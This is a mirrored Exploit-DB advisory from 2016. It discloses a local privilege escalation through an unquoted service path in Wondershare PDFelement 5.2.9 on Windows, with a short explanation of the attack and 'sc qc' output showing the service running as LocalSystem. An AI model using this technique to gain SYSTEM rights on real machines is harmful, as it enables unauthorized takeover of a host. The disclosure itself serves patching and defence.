Wondershare PDFelement 5.2.9 – Unquoted Service Path Privilege Escalation

• Exploit Database
• 16 阅读

• 作者： Saeed Hasanzadeh
  日期： 2016-10-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40535/

• #########################################################################
  # Exploit Title: Wondershare PDFelement Unquoted Service Path Privilege
  Escalation
  # Date: 10/14/2016
  # Author: Saeed Hasanzadeh (Net.Hun73r)
  # Vendor Homepage: https://www.wondershare.com/
  # Software Link:
  http://download.wondershare.com/inst/pdfelement_setup_full1042.exe
  #version : 5.2.9
  # Tested on: Windows 7
  ##########################################################################
  
  Wondershare PDFelement installs a service with an unquoted service path
  To properly exploit this vulnerability,
  the local attacker must insert an executable file in the path of the
  service.
  Upon service restart or system reboot, the malicious code will be run
  with elevated privileges.
  -------------------------------------------
  C:\>sc qc WsAppService
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: WsAppService
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Wondershare\WAF\2.2.3.2\WsAppService.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Wondershare Application Framework Service
  DEPENDENCIES : RPCSS
  SERVICE_START_NAME : LocalSystem